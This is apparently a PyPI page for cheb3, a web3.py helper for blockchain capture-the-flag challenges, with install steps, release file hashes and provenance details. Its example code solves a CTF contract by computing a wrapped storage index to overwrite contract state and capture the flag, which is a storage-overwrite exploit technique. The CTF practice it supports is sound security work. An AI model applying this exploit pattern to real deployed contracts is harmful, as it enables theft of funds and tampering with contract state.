Web3 CTF tool based on web3.py
Project description
Installation
cheb3 can be installed using pip as follows:
$ python3 -m pip install cheb3
With virtualenv (Recommended)
You can setup a clean environment for cheb3:
$ python3 -m pip install virtualenv
$ virtualenv -p python3 ~/.cheb3_env # Create a virtual environment
$ source ~/.cheb3_env/bin/activate # Activate the new virtual environment
$ pip install -U cheb3 # Install cheb3 in the virtual environment
Then, activate this environment every time before using cheb3:
$ source ~/.cheb3_env/bin/activate
(.cheb3_env) $
Examples
Without cheb3, you might write code like this:
# https://yanhuijessica.github.io/Chictf-Writeups/blockchain/static/totally-secure-dapp.zip
from web3 import Web3
import json
def transact(func, gas=1000000, gas_price=None):
tx = account.sign_transaction(eval(func).build_transaction({
'chainId': w3.eth.chain_id,
'nonce': w3.eth.get_transaction_count(account.address),
'gas': gas,
'gasPrice': gas_price if gas_price else w3.eth.gas_price,
})).raw_transaction
tx_hash = w3.eth.send_raw_transaction(tx).hex()
return w3.eth.wait_for_transaction_receipt(tx_hash)
w3 = Web3(Web3.HTTPProvider("<rpc-url>"))
account = w3.eth.account.from_key("<private-key>")
challenge_addr = "<contract-address>"
abi = json.loads(open("abi.json").read())
challenge = w3.eth.contract(address=challenge_addr, abi=abi)
transact("challenge.functions.removePost(1)")
index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
transact(f"challenge.functions.editPost({index}, 'unimportant', 'unimportant')")
transact("challenge.functions.captureFlag()")
With cheb3, you can write code like this:
from web3 import Web3
from cheb3 import Connection
from cheb3.utils import load_compiled
conn = Connection("<rpc-url>")
account = conn.account("<private-key>")
challenge_addr = "<contract-address>"
abi, _ = load_compiled("TotallySecureDapp.sol")
challenge = conn.contract(account, challenge_addr, abi=abi)
challenge.functions.removePost(1).send_transaction()
index = 2**256 - int(Web3.solidity_keccak(['uint256'], [3]).hex(), 16) + 2
challenge.functions.editPost(index, "unimportant", "unimportant").send_transaction()
challenge.functions.captureFlag().send_transaction()
Other examples of using cheb3 in CTF challenges can be found in /examples.
Documentation
- Quick Start
- API Reference
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file cheb3-1.0.1.tar.gz.
File metadata
- Download URL: cheb3-1.0.1.tar.gz
- Upload date:
- Size: 14.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
63c3d4e4db0b486ac1ebd52decb793b0ccd9d2ee97e82db80a2776ca40ccc520
|
|
| MD5 |
80307ec56e7baba143423eb11293b925
|
|
| BLAKE2b-256 |
7eecdc4d3588e4d75b80bc93c327a78362c956d3cc009c444b37d2df5bd57f15
|
Provenance
The following attestation bundles were made for cheb3-1.0.1.tar.gz:
Publisher:
release.yml on YanhuiJessica/cheb3
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
cheb3-1.0.1.tar.gz -
Subject digest:
63c3d4e4db0b486ac1ebd52decb793b0ccd9d2ee97e82db80a2776ca40ccc520 - Sigstore transparency entry: 566446809
- Sigstore integration time:
-
Permalink:
YanhuiJessica/cheb3@58dbcdb7bc5e0c6167e56ef02dad09ecdfdcc2b5 -
Branch / Tag:
refs/tags/v1.0.1 - Owner: https://github.com/YanhuiJessica
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@58dbcdb7bc5e0c6167e56ef02dad09ecdfdcc2b5 -
Trigger Event:
push
-
Statement type:
File details
Details for the file cheb3-1.0.1-py3-none-any.whl.
File metadata
- Download URL: cheb3-1.0.1-py3-none-any.whl
- Upload date:
- Size: 16.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b2a104ce3d63e63755e589656b5b7fdc6cde0f13a5865936b58a60c8092be63b
|
|
| MD5 |
2c0f742f408e317935d276a0bb490b22
|
|
| BLAKE2b-256 |
1a8a0baa79c01805712e00ae0966b17eb9b0312417e91823be4be119f9bc3d4d
|
Provenance
The following attestation bundles were made for cheb3-1.0.1-py3-none-any.whl:
Publisher:
release.yml on YanhuiJessica/cheb3
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
cheb3-1.0.1-py3-none-any.whl -
Subject digest:
b2a104ce3d63e63755e589656b5b7fdc6cde0f13a5865936b58a60c8092be63b - Sigstore transparency entry: 566446813
- Sigstore integration time:
-
Permalink:
YanhuiJessica/cheb3@58dbcdb7bc5e0c6167e56ef02dad09ecdfdcc2b5 -
Branch / Tag:
refs/tags/v1.0.1 - Owner: https://github.com/YanhuiJessica
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@58dbcdb7bc5e0c6167e56ef02dad09ecdfdcc2b5 -
Trigger Event:
push
-
Statement type: